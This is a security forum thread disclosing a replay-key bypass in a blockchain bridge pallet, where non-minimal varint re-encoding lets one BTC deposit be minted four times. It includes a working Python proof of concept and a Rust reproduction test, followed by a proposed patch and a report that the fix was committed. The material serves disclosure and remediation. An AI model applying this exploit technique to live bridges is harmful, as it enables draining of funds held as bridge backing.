# \[Critical\] UTXO multi-mint via non-canonical varint re-encoding

**URL:** https://ghostforum.org/t/critical-utxo-multi-mint-via-non-canonical-varint-re-encoding/111
**Category:** Remediation in Progress
**Tags:** weaver-pallet
**Created:** [October 2, 2026, 11:51am UTC](https://ghostforum.org/t/critical-utxo-multi-mint-via-non-canonical-varint-re-encoding/111 "2026-10-02T11:51:46Z")
**Posts on this page:** 6
**Page:** 1

<div class="post-metadata">

### Author: ![atla](https://ghostforum.org/letter_avatar_proxy/v4/letter/a/a5b964/32.png) [@atla](https://ghostforum.org/u/atla)
#### Post date: [October 2, 2026, 11:51am UTC](https://ghostforum.org/t/critical-utxo-multi-mint-via-non-canonical-varint-re-encoding/111/1 "2026-10-02T11:51:46Z")

</div>

## Summary

`read_varint` (`pallets/helpers/src/utxo.rs`) accepts non-minimal encodings  
(e.g. `input_count = 1` as `fd 01 00`) with no canonicality check, while  
`compute_txid` re-serializes via `write_varint_to_buf`, which always writes the  
minimal form — so the canonical txid, and hence the block Merkle proof, is  
identical across encodings. But `UtxoThreadProof::get_unique_key`  
(`pallets/weaver/src/types.rs:530-544`) feeds the _submitted_ bytes through  
`sequential_hash`, which (3 elements) truncates each input to its first 32 bytes  
**without hashing** (`GhostHasher::from_slice`, `pallets/traits/src/hashing.rs`).  
Re-encoding the `input_count` varint at byte offset 4 changes those 32 bytes,  
producing a fresh replay key per encoding. `pull_thread` then mints again for  
the same deposit. **One BTC deposit → 4 mints** (`01`, `fd0100`, `fe01000000`,  
`ff0100000000000000`).

## Severity

**Critical.** Each real BTC deposit to the gatekeeper can be claimed 4×,  
draining the bridge’s BTC backing per deposit. Deterministic, no privileged  
role needed (modulo the unsigned-validation gating note below).

## Steps to Reproduce

Prerequisites: a confirmed BTC deposit to the gatekeeper with a valid  
`gettxoutproof` + ancestry (the repo’s own test vector works: tx  
`4a3fdd9e…b44a2e`, block #481838).

1. Claim #1 with the canonical `getrawtransaction` → `Ok`, key K1, receiver  
credited.
2. Re-encode byte offset 4 (`input_count`) as `fd 01 00` (shift remaining bytes).  
Claim #2 → `Ok`, key K2 ≠ K1, receiver credited again.
3. Repeat with `fe 01000000` → K3, and `ff 0100000000000000` → K4. Four mints  
total for one deposit.
4. Negative control: re-submit the exact bytes of claim #1 →  
`Err(ThreadAlreadyPulled)`, proving the bypass is specifically the re-encoding.

## Proof of Concept

Local PoC (byte-for-byte reimplementation of `utxo.rs` parse/txid,  
`hash_chain.rs`, `hashing.rs`, `get_unique_key`; validated by reproducing the  
real on-chain txid `4a3fdd9e…b44a2e`). Full PoC source available on request.

```auto
cd poc-gh02 && cargo test
# 3 passed:
# - gh02_reimplementation_matches_real_chain
# - gh02_nonminimal_varint_keeps_txid_but_changes_unique_key
# - gh02_one_deposit_mints_four_times

```

The three links in the chain:

```auto
// 1. utxo.rs: read_varint accepts fd/fe/ff for small values (no minimality check)
// 2. utxo.rs: compute_txid re-serializes with write_varint_to_buf (always minimal)
// -> identical txid -> extract_proof validates against the SAME block root
// 3. types.rs:530: sequential_hash([gettxproof, rawtx, network_id])
// -> 3 elements -> from_slice() truncates first 32 bytes WITHOUT hashing
// -> mutated bytes at offset 4..7 -> new key -> PulledThreads check passes

```

## Impact

Bridge backing drain: every BTC deposit is worth 4× its face value to whoever  
claims it. An attacker deposits 1 BTC once, claims 4× wrapped BTC, exits via  
bridge-out. Scales linearly with deposits.

## Remediation

Enforce varint canonicality in `read_varint` (reject `fd`/`fe`/`ff` encodings  
whose value fits in a shorter form this matches Bitcoin Core consensus  
rules), and/or compute the replay key over the _canonical re-serialization_  
(`compute_txid` output) instead of the submitted bytes. Defense in depth: make  
`from_slice`-based keying hash the input (it is currently a truncate, despite  
the `Hasher` name).

## Caveats

- PoC is a faithful local reimplementation, not the compiled pallet; anchored  
by reproducing the real txid of the repo’s own test vector.
- `pull_thread` is currently only includable by a byzantine block author  
(unsigned-validation gap); fixing that gap without this fix makes the  
multi-mint permissionless ship together.
- The attacker must still make one real BTC deposit per 4× claim cycle.

---

<div class="post-metadata">

### Author: ![VoidDragon](https://ghostforum.org/user_avatar/ghostforum.org/voiddragon/32/16_2.png) [@VoidDragon](https://ghostforum.org/u/VoidDragon)
#### Post date: [October 3, 2026, 8:27pm UTC](https://ghostforum.org/t/critical-utxo-multi-mint-via-non-canonical-varint-re-encoding/111/2 "2026-10-03T20:27:33Z")

</div>

Thank you for your report!

It looks like you are right here. Would be nice if you could give a python script or rust based test for fair play with other participants. IMHO this finding totally deserves the elevation of this thread.

Good job @aldi! You are welcome to continue with this attack vector!

---

<div class="post-metadata">

### Author: ![atla](https://ghostforum.org/letter_avatar_proxy/v4/letter/a/a5b964/32.png) [@atla](https://ghostforum.org/u/atla)
#### Post date: [October 4, 2026, 6:32am UTC](https://ghostforum.org/t/critical-utxo-multi-mint-via-non-canonical-varint-re-encoding/111/3 "2026-10-04T06:32:12Z")

</div>

Thanks for confirming! Here’s a self-contained Python reproducer (stdlib only no dependencies), so everyone can verify on equal footing:

```python
#!/usr/bin/env python3
"""
GH-02 reproduction — weaver UTXO multi-mint via non-canonical varint re-encoding.

Self-contained (stdlib only: hashlib). Run: python3 gh02_repro.py

Faithful reimplementation of:
  - pallets/helpers/src/utxo.rs : read_varint (NO canonicality check),
                                       write_varint_to_buf (always minimal),
                                       Transaction::try_from, compute_txid
  - pallets/helpers/src/hash_chain.rs: sequential_hash / combine_values
  - pallets/traits/src/hashing.rs : GhostHasher::from_slice (truncate, NOT a hash)
  - pallets/weaver/src/types.rs : UtxoThreadProof::get_unique_key
  - pallets/weaver/src/lib.rs : pull_thread replay check (PulledThreads)

Test vector: the repo's own (pallets/weaver/src/tests.rs, block #481838,
tx 4a3fdd9ebb30b9c6df05d4199f8474b2f0c795d1f40a58d0d73342fc666b4a2e).

Attack: re-encode `input_count` (byte offset 4) non-minimally.
  read_varint accepts it -> parse succeeds
  compute_txid re-serializes canonically -> SAME txid -> Merkle proof still valid
  get_unique_key truncates first 32 raw bytes WITHOUT hashing -> key CHANGES
  -> PulledThreads replay check passes again. One deposit -> 4 mints.
"""

import hashlib
import sys

# ---------------------------------------------------------------- test vectors
GETTXPROOF_HEX = (
    "00000020375a14cfcf5730daa8ff8d7a5bd2cf59fba797e289c2e000000000000000000"
    "0529cd017146361b57e6b7353b16d8d38d32f92ee842039dd779d35bfbfa2f3e53f649e5"
    "9e93c01187900ea9fb40600000cfbd7b718845d123b1ae1a7fd3bce9c97acba097dc912c"
    "4ac67a920395db07ba4eef685960869ba70e0ca38890565c97dc11f1d7ae538e7b509069"
    "f81e38eff1a2e4a6b66fc4233d7d0580af4d195c7f0b274849f19d405dfc6b930bb9edd3"
    "f4a4c1f1e9fa3a336c50e8ea16039e4db4bef7ff5946e3a019937bdf626c2336d0e3926a"
    "83a575218f84e6dc55ffb9d0997a41e4b4d5425a85f22160c9f52362a95021a573ff96bb"
    "429bd80a8ec9dcb899971553efe91b6a0fe57c4694c3e8da8dc7f1babd514f2746da1ed0"
    "6f08664baed853c334e0a3917d0c859b19ee14f448f77e624822070db3b606d5092027ca"
    "9ecf7e0243e6c151081021ebb3ddcdd28c1b8f9fdcffebd1962590477675f3d29d52602a"
    "1e7e941f772a3bbff42cf2eb6e74a1124bf424f767e294ae6253a21602c7c6b0381743dd"
    "6dcd57b025983e0e34375b24f67ac8beb00713d2f70594bbf797d5d94c061cb9965e6458f"
    "2f017f983d7ce37361fa13fda372f595dc1f22895ab93339457c72c480fed1c4d1164a24"
    "2303ff3600"
)

# Layout: `01000000` (version) | `02` (input_count @ byte offset 4) | inputs...
RAWTX_HEX = (
    "010000000299a43fae581f80baf44e021ddf7b11995f184db282d6e48c22248b9fe79c43"
    "bb010000008b483045022100e9db01784dcd879c65d66127c2d52a4f9244321d15796893"
    "d6dccadaa1146e3d02203d9bb80f8df8b66692d3d9517f7cbb898d7cc40a30b175432322"
    "e1956c9b973a0141048097e4f8bb8ee104d5c2ece11d42f7e4719df8ddba459ecadecaba"
    "87d233c81a3c14830371392dd8ed030ef970450c0b7af48d9db4ba20c046896481602eb9"
    "dbffffffffb3fd05bc6000a5a0384e9a613d452e9307568df0a964907068e00403a0a0e0"
    "9e020000006a47304402205bb1cbad4b29421648c1e22cac32a56aa06c933fe655559823"
    "fffb71ffebbc0b022021648d970560aa5b2031560b52a0fd06305995a58a457663324c18"
    "c1a9b0bd0b8121020d6e50b2660af27933c42bc1395fe93df90ffac5e2a989f6a134919f"
    "b8cf8075ffffffff030000000000000000296a2769642b5bb666ac1657090d02985f0cdb"
    "41436fe2d5a83a3acb1995d963a698e7e619e927bdcc5e7c150000000000001976a914c1"
    "c69d91a5719a23ba2094d89a4df3eadfa4aef788acefea2309000000001976a9144635b1"
    "794a22bfbe6c5c5eba17b693f4aaf0e34888ac00000000"
)

EXPECTED_TXID_DISPLAY = (
    "4a3fdd9ebb30b9c6df05d4199f8474b2f0c795d1f40a58d0d73342fc666b4a2e"
)
NETWORK_ID = 1

# ---------------------------------------------------------------- primitives
def sha256d(data: bytes) -> bytes:
    return hashlib.sha256(hashlib.sha256(data).digest()).digest()

def blake2_256(data: bytes) -> bytes:
    return hashlib.blake2b(data, digest_size=32).digest()

def read_varint(buf: bytes, off: int):
    """utxo.rs::read_varint — accepts NON-MINIMAL encodings (no canonicality check)."""
    first = buf[off]
    off += 1
    if first == 0xFD:
        val = int.from_bytes(buf[off:off + 2], "little"); off += 2
    elif first == 0xFE:
        val = int.from_bytes(buf[off:off + 4], "little"); off += 4
    elif first == 0xFF:
        val = int.from_bytes(buf[off:off + 8], "little"); off += 8
    else:
        val = first
    return val, off

def write_varint_canonical(value: int) -> bytes:
    """utxo.rs::write_varint_to_buf — ALWAYS minimal encoding."""
    if value < 253:
        return bytes([value])
    if value <= 0xFFFF:
        return b"\xfd" + value.to_bytes(2, "little")
    if value <= 0xFFFFFFFF:
        return b"\xfe" + value.to_bytes(4, "little")
    return b"\xff" + value.to_bytes(8, "little")

def parse_tx(raw: bytes):
    """utxo.rs::Transaction::try_from (faithful for this vector)."""
    off = 0
    version = int.from_bytes(raw[off:off + 4], "little"); off += 4
    n_in, off = read_varint(raw, off)
    inputs = []
    for _ in range(n_in):
        prev_txid = raw[off:off + 32]; off += 32
        vout = int.from_bytes(raw[off:off + 4], "little"); off += 4
        slen, off = read_varint(raw, off)
        script, off = raw[off:off + slen], off + slen
        seq = int.from_bytes(raw[off:off + 4], "little"); off += 4
        inputs.append((prev_txid, vout, script, seq))
    n_out, off = read_varint(raw, off)
    outputs = []
    for _ in range(n_out):
        value = int.from_bytes(raw[off:off + 8], "little"); off += 8
        slen, off = read_varint(raw, off)
        spk, off = raw[off:off + slen], off + slen
        outputs.append((value, spk))
    locktime = int.from_bytes(raw[off:off + 4], "little"); off += 4
    return version, inputs, outputs, locktime

def compute_txid(tx) -> bytes:
    """utxo.rs::compute_txid — canonical re-serialization + double-SHA256."""
    version, inputs, outputs, locktime = tx
    buf = version.to_bytes(4, "little")
    buf += write_varint_canonical(len(inputs))
    for prev_txid, vout, script, seq in inputs:
        buf += (prev_txid + vout.to_bytes(4, "little")
                + write_varint_canonical(len(script)) + script
                + seq.to_bytes(4, "little"))
    buf += write_varint_canonical(len(outputs))
    for value, spk in outputs:
        buf += (value.to_bytes(8, "little")
                + write_varint_canonical(len(spk)) + spk)
    buf += locktime.to_bytes(4, "little")
    return sha256d(buf)

def from_slice_truncate(data: bytes) -> bytes:
    """hashing.rs::GhostHasher::from_slice — NOT a hash: copy/truncate to 32 bytes."""
    return (data + b"\x00" * 32)[:32]

def utxo_unique_key(gettxproof: bytes, rawtx: bytes, network_id: int) -> bytes:
    """weaver/types.rs::UtxoThreadProof::get_unique_key over 3 elements."""
    acc = from_slice_truncate(gettxproof)
    acc = blake2_256(acc + from_slice_truncate(rawtx))
    acc = blake2_256(acc + from_slice_truncate(network_id.to_bytes(8, "big")))
    return acc

# ---------------------------------------------------------------- demo
def main() -> int:
    rawtx = bytes.fromhex(RAWTX_HEX)
    proof = bytes.fromhex(GETTXPROOF_HEX)
    assert rawtx[4] == 0x02, "vector must carry input_count=0x02 at byte offset 4"

    # Sanity: the reimplementation must reproduce the REAL on-chain txid.
    txid0 = compute_txid(parse_tx(rawtx))
    assert txid0[::-1].hex() == EXPECTED_TXID_DISPLAY, \
        "reimplementation diverged from the real chain — aborting"
    print(f"[sanity] reimplementation reproduces on-chain txid {EXPECTED_TXID_DISPLAY}\n")

    encodings = [
        ("canonical (02) ", bytes([0x02])),
        ("non-minimal (fd 02 00) ", bytes([0xFD, 0x02, 0x00])),
        ("non-minimal (fe 02 00 00 00) ", bytes([0xFE, 0x02, 0x00, 0x00, 0x00])),
        ("non-minimal (ff 02 00..00) ",
         bytes([0xFF, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00])),
    ]

    pulled = set() # pallet PulledThreads storage
    mints = 0
    for name, enc in encodings:
        variant = rawtx[:4] + enc + rawtx[5:] # re-encode input_count
        tx = parse_tx(variant) # read_varint: accepted
        same_txid = compute_txid(tx) == txid0 # proof still validates
        key = utxo_unique_key(proof, variant, NETWORK_ID)
        fresh = key not in pulled
        if fresh:
            pulled.add(key)
            mints += 1 # Currency::mint_into executes
        print(f"[{name}] txid identical: {str(same_txid):5s} | "
              f"replay-key fresh: {str(fresh):5s} | key={key.hex()[:16]}... "
              f"-> {'MINT' if fresh else 'REJECTED'}")

    # Negative control: identical bytes are still caught — the bypass is
    # specifically the re-encoding.
    key1 = utxo_unique_key(proof, rawtx, NETWORK_ID)
    print(f"\n[negative control] resubmit identical bytes -> "
          f"{'REJECTED (ThreadAlreadyPulled)' if key1 in pulled else 'MINT (unexpected!)'}")

    print(f"\nRESULT: 1 BTC deposit -> {mints} mints "
          f"({'VULNERABLE' if mints == 4 else 'not vulnerable'})")
    return 0 if mints == 4 else 1

if __name__ == " __main__":
    sys.exit(main())

```

Run it with:

```auto
$ python3 gh02_repro.py[sanity] reimplementation reproduces on-chain txid 4a3fdd9e…b44a2e
[canonical (02)] txid identical: True | replay-key fresh: True | key=8d4d2abe388a99e7... -> MINT[non-minimal (fd 02 00)] txid identical: True | replay-key fresh: True | key=1a481fad918677ed... -> MINT[non-minimal (fe 02 00 00 00)] txid identical: True | replay-key fresh: True | key=cfe65f6bdfb77d03... -> MINT[non-minimal (ff 02 00..00)] txid identical: True | replay-key fresh: True | key=18321b35986a9c55... -> MINT
[negative control] resubmit identical bytes -> REJECTED (ThreadAlreadyPulled)
RESULT: 1 BTC deposit -> 4 mints (VULNERABLE)

```

What it demonstrates:

- Sanity: the reimplementation reproduces the real on-chain txid `4a3fdd9e…b44a2e` from the repo’s own test vector (block #481838), so the logic faithfully matches the pallet.
- The bug: all 4 `input_count` encodings are accepted by `read_varint`, produce the identical txid (Merkle proof still validates), but yield 4 distinct replay keys because `get_unique_key` truncates the first 32 raw bytes without hashing. 4 mints from 1 deposit.
- Negative control: resubmitting identical bytes is still rejected, proving the bypass comes specifically from the re-encoding.

I also have the same PoC as a Rust test suite (`cargo test` → 3/3 pass) happy to share if anyone prefers Rust.

## One note that may help the fix: within the 32-byte window the replay key covers, `input_count` is the only field whose encoding can vary without changing the canonical txid. Enforcing varint canonicality in `read_varint` (matching Bitcoin Core consensus rules) closes the vector completely. Happy to verify the fix once it lands.

---

<div class="post-metadata">

### Author: ![VoidDragon](https://ghostforum.org/user_avatar/ghostforum.org/voiddragon/32/16_2.png) [@VoidDragon](https://ghostforum.org/u/VoidDragon)
#### Post date: [October 5, 2026, 11:15am UTC](https://ghostforum.org/t/critical-utxo-multi-mint-via-non-canonical-varint-re-encoding/111/4 "2026-10-05T11:15:19Z")

</div>

Based on your Python example, I’ve recreated it locally for testing. The final version of the test is:

```auto
#[test]
fn should_successfully_pull_utxo_thread_and_mint_currency() {
    let pair = AuthorityPair::from_string("//Alice", None).expect("Should be valid seed");
    let incoming_share = 500_000_000;

    let network_id = 69;
    let network_data = NetworkDataBuilder::default()
        .with_network_type(NetworkType::Utxo)
        .with_incoming_share(incoming_share)
        .with_gatekeeper(
            // Transaction: https://blockstream.info/tx/4a3fdd9ebb30b9c6df05d4199f8474b2f0c795d1f40a58d0d73342fc666b4a2e
            hex::decode("4635b1794a22bfbe6c5c5eba17b693f4aaf0e348")
                .expect("Bytes32 from UTXO should be valid"),
        )
        .build();

    let authorities = vec![pair.clone()];
    let networks = vec![(network_id, network_data, Default::default())];

    // Real world tx at block #481838
    // Block https://blockstream.info/block/0000000000000000011bdccb39e19e942a60edffdccd9779653c5b46b337904a
    // Transaction: https://blockstream.info/tx/4a3fdd9ebb30b9c6df05d4199f8474b2f0c795d1f40a58d0d73342fc666b4a2e

    let payload = (
        // curl --data-binary '{"jsonrpc": "2.0", "id": "test-proof", "method": "gettxoutproof", "params": [["4a3fdd9ebb30b9c6df05d4199f8474b2f0c795d1f40a58d0d73342fc666b4a2e"], "0000000000000000011bdccb39e19e942a60edffdccd9779653c5b46b337904a"]}' -H 'Content-Type: application/json' https://bitcoin-rpc.publicnode.com
        hex::decode("00000020375a14cfcf5730daa8ff8d7a5bd2cf59fba797e289c2e0000000000000000000529cd017146361b57e6b7353b16d8d38d32f92ee842039dd779d35bfbfa2f3e53f649e59e93c01187900ea9fb40600000cfbd7b718845d123b1ae1a7fd3bce9c97acba097dc912c4ac67a920395db07ba4eef685960869ba70e0ca38890565c97dc11f1d7ae538e7b509069f81e38eff1a2e4a6b66fc4233d7d0580af4d195c7f0b274849f19d405dfc6b930bb9edd3f4a4c1f1e9fa3a336c50e8ea16039e4db4bef7ff5946e3a019937bdf626c2336d0e3926a83a575218f84e6dc55ffb9d0997a41e4b4d5425a85f22160c9f52362a95021a573ff96bb429bd80a8ec9dcb899971553efe91b6a0fe57c4694c3e8da8dc7f1babd514f2746da1ed06f08664baed853c334e0a3917d0c859b19ee14f448f77e624822070db3b606d5092027ca9ecf7e0243e6c151081021ebb3ddcdd28c1b8f9fdcffebd1962590477675f3d29d52602a1e7e941f772a3bbff42cf2eb6e74a1124bf424f767e294ae6253a21602c7c6b0381743dd6dcd57b025983e0e34375b24f67ac8beb00713d2f70594bbf797d5d94c061cb9965e6458f2f017f983d7ce37361fa13fda372f595dc1f22895ab93339457c72c480fed1c4d1164a242303ff3600").expect("Bytes32 from UTXO should be valid"),
        // curl --data-binary '{"jsonrpc": "2.0", "id": "test-proof", "method": "getrawtransaction", "params": ["4a3fdd9ebb30b9c6df05d4199f8474b2f0c795d1f40a58d0d73342fc666b4a2e", false]}' -H 'Content-Type: application/json' https://bitcoin-rpc.publicnode.com
        hex::decode("010000000299a43fae581f80baf44e021ddf7b11995f184db282d6e48c22248b9fe79c43bb010000008b483045022100e9db01784dcd879c65d66127c2d52a4f9244321d15796893d6dccadaa1146e3d02203d9bb80f8df8b66692d3d9517f7cbb898d7cc40a30b175432322e1956c9b973a0141048097e4f8bb8ee104d5c2ece11d42f7e4719df8ddba459ecadecaba87d233c81a3c14830371392dd8ed030ef970450c0b7af48d9db4ba20c046896481602eb9dbffffffffb3fd05bc6000a5a0384e9a613d452e9307568df0a964907068e00403a0a0e09e020000006a47304402205bb1cbad4b29421648c1e22cac32a56aa06c933fe655559823fffb71ffebbc0b022021648d970560aa5b2031560b52a0fd06305995a58a457663324c18c1a9b0bd0b8121020d6e50b2660af27933c42bc1395fe93df90ffac5e2a989f6a134919fb8cf8075ffffffff030000000000000000296a2769642b5bb666ac1657090d02985f0cdb41436fe2d5a83a3acb1995d963a698e7e619e927bdcc5e7c150000000000001976a914c1c69d91a5719a23ba2094d89a4df3eadfa4aef788acefea2309000000001976a9144635b1794a22bfbe6c5c5eba17b693f4aaf0e34888ac00000000").expect("Bytes32 from UTXO should be valid"),
        vec![
            // curl --data-binary '{"jsonrpc": "2.0", "id": "test-proof", "method": "getblockheader", "params": ["000000000000000000e7da64065cc23d5c5a5aa402f088aaaf37c5fe1c3b6b92", false]}' -H 'Content-Type: application/json' https://bitcoin-rpc.publicnode.com
            hex::decode("000000204a9037b3465b3c657997cddcffed602a949ee139cbdc1b010000000000000000669c3e2472384bc95993f154aada38d6b2113d8d32069e32e2724ba40915a1802a669e59e93c011801c8c735").expect("Bytes32 from UTXO should be valid"),
            // curl --data-binary '{"jsonrpc": "2.0", "id": "test-proof", "method": "getblockheader", "params": ["00000000000000000063da6d9362c0ac3b87877d1c5ad7afd5bd706571d5b393", false]}' -H 'Content-Type: application/json' https://bitcoin-rpc.publicnode.com
            hex::decode("02000020926b3b1cfec537afaa88f002a45a5a5c3dc25c0664dae7000000000000000000af0f270bf3f868d47089f395197809c360f1506636c960d96afed68bbd72d0b4496d9e59e93c01183ac94b67").expect("Bytes32 from UTXO should be valid"),
            // curl --data-binary '{"jsonrpc": "2.0", "id": "test-proof", "method": "getblockheader", "params": ["000000000000000000ec6063eb743366264368be7ff5021727682cb518963026", false]}' -H 'Content-Type: application/json' https://bitcoin-rpc.publicnode.com
            hex::decode("0000002093b3d5716570bdd5afd75a1c7d87873bacc062936dda630000000000000000009ab437e7c66b10a59b67127f290d24f381aba4e03d5e16c062a356eea4d608dea56d9e59e93c0118264f310e").expect("Bytes32 from UTXO should be valid"),
        ],
    );

    let encodings = vec![
        vec![0x02], // canonical
        vec![0xFD, 0x02, 0x00], // non-minimal 3 bytes
        vec![0xFE, 0x02, 0x00, 0x00, 0x00], // non-minimal 5 bytes
        vec![0xFF, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00], // non-minimal 9 bytes
    ];

    new_test_ext(authorities, networks).execute_with(|| {
        let session = 0;
        let block_hash =
            hex::decode("000000000000000000ec6063eb743366264368be7ff5021727682cb518963026")
                .expect("Bitcoin Root hex should be valid");

        let expected_root = H256::from_slice(&block_hash);
        LoomStates::<TestRuntime>::insert(&network_id, &session, expected_root);

        let expected_receiver_bytes = hex::decode("1657090d02985f0cdb41436fe2d5a83a3acb1995d963a698e7e619e927bdcc5e").unwrap();
        let mut receiver_raw = [0u8; 32];
        receiver_raw.copy_from_slice(&expected_receiver_bytes);

        let receiver_account = sp_runtime::AccountId32::from(receiver_raw);
        let transfer_amount: u64 = 153348847;
        let mut expected_pure_amount: u64 = 0;

        for enc in encodings {
            let mut variant = Vec::with_capacity(payload.1.len() + enc.len() - 1);
            variant.extend_from_slice(&payload.1[0..4]);
            variant.extend_from_slice(&enc);
            variant.extend_from_slice(&payload.1[5..]);

            let utxo_thread_proof = UtxoThreadProof::new(payload.0.clone(), variant, payload.2.clone());
            let thread_info = ThreadProof::UtxoThreadProof(utxo_thread_proof);
            let pulled_thread_key = thread_info.get_unique_key(session, network_id);

            assert_eq!(Balances::free_balance(&receiver_account), expected_pure_amount);
            assert!(!PulledThreads::<TestRuntime>::contains_key(
                &pulled_thread_key
            ));

            assert!(GhostWeaver::pull_thread(
                RuntimeOrigin::none(),
                network_id,
                session,
                thread_info
            ).is_ok());

            assert!(PulledThreads::<TestRuntime>::contains_key(
                &pulled_thread_key
            ));

            let curve_share = Perbill::from_parts(incoming_share).mul_ceil(transfer_amount);
            expected_pure_amount += transfer_amount.saturating_sub(curve_share);

            assert_eq!(
                Balances::free_balance(&receiver_account),
                expected_pure_amount
            );

            System::assert_last_event(RuntimeEvent::GhostWeaver(Event::ThreadPulled {
                pulled_thread_key,
                network_id,
                receiver: receiver_account.clone(),
                amount: transfer_amount,
            }));
        }

        assert_eq!(Balances::free_balance(&receiver_account), transfer_amount * 4 / 2 - 2);
    });

```

As you showed above, it really does work. How do you envision fixing it? What’s the best option - changing the unique key for the UTXO transaction, changing the varint implementation, or something else?

---

<div class="post-metadata">

### Author: ![atla](https://ghostforum.org/letter_avatar_proxy/v4/letter/a/a5b964/32.png) [@atla](https://ghostforum.org/u/atla)
#### Post date: [October 5, 2026, 12:33pm UTC](https://ghostforum.org/t/critical-utxo-multi-mint-via-non-canonical-varint-re-encoding/111/5 "2026-10-05T12:33:14Z")

</div>

Excellent thanks for reproducing it end-to-end on the real pallet; that settles it.

On the fix, my recommendation: enforce varint canonicality in `read_varint` as the primary fix, plus the key change as defense in depth. Rationale:

1. It matches Bitcoin itself. Non-minimal varint encodings are not valid in Bitcoin consensus serialization `getrawtransaction` output from bitcoind is always canonical. The pallet is currently _more permissive than Bitcoin_, which is where the divergence comes from.
2. It fixes the class, not the instance. Every downstream consumer of the parsed transaction is protected, not just this one key derivation.
3. No storage migration. The `PulledThreads` key format stays as-is.

Concrete change in `pallets/helpers/src/utxo.rs` (add a `VarintError::NonCanonicalEncoding` variant):

```rust
0xFD => { let val = u16::from_le_bytes(...); if val < 253 { return Err(VarintError::NonCanonicalEncoding); } ...}0xFE => { let val = u32::from_le_bytes(...); if val <= 0xFFFF { return Err(VarintError::NonCanonicalEncoding); } ...}0xFF => { let val = u64::from_le_bytes(...); if val <= 0xFFFF_FFFF { return Err(VarintError::NonCanonicalEncoding); } ...}

```

(Thresholds are exactly the inverse of your own `write_varint_to_buf`, which is already minimal so no honest flow can break: real node output is always canonical.)

As defense in depth, I’d also derive the replay key from the _canonical txid_ instead of the submitted raw bytes. Principle: an idempotency key should come from the canonical identity of what’s being claimed, never from attacker-supplied bytes when a canonical form exists. That way no future parser quirk can re-open this.

Process note: your test above is the perfect regression test after the fix it should assert the three non-minimal variants are _rejected_ (keeping the canonical one green). Maybe rename it to `should_reject_nonminimal_varint_reencoding` so the intent reads clearly.

## Happy to re-verify once the fix lands I can re-run both my Python and Rust repros against the patched logic, the way I did for the GH-01 fix.

---

<div class="post-metadata">

### Author: ![VoidDragon](https://ghostforum.org/user_avatar/ghostforum.org/voiddragon/32/16_2.png) [@VoidDragon](https://ghostforum.org/u/VoidDragon)
#### Post date: [October 10, 2026, 3:22pm UTC](https://ghostforum.org/t/critical-utxo-multi-mint-via-non-canonical-varint-re-encoding/111/6 "2026-10-10T15:22:11Z")

</div>

Hey @atla - it looks like the dev team has [fixed the issue](https://git.ghostchain.io/ghostchain/ghost-node/commit/84b6dfad9fdb6d5a4656e07ec1f340f1b506cca2) you reported. Could you confirm whether it’s resolved on your end now, or continue the thread if it still persists?

Also, the [next commit](https://git.ghostchain.io/ghostchain/ghost-node/commit/f3e7122d4351f941d1a9c7a43362b0e2b47a8840) minimized the number of memory allocations needed - it now verifies the header in a stateless way.
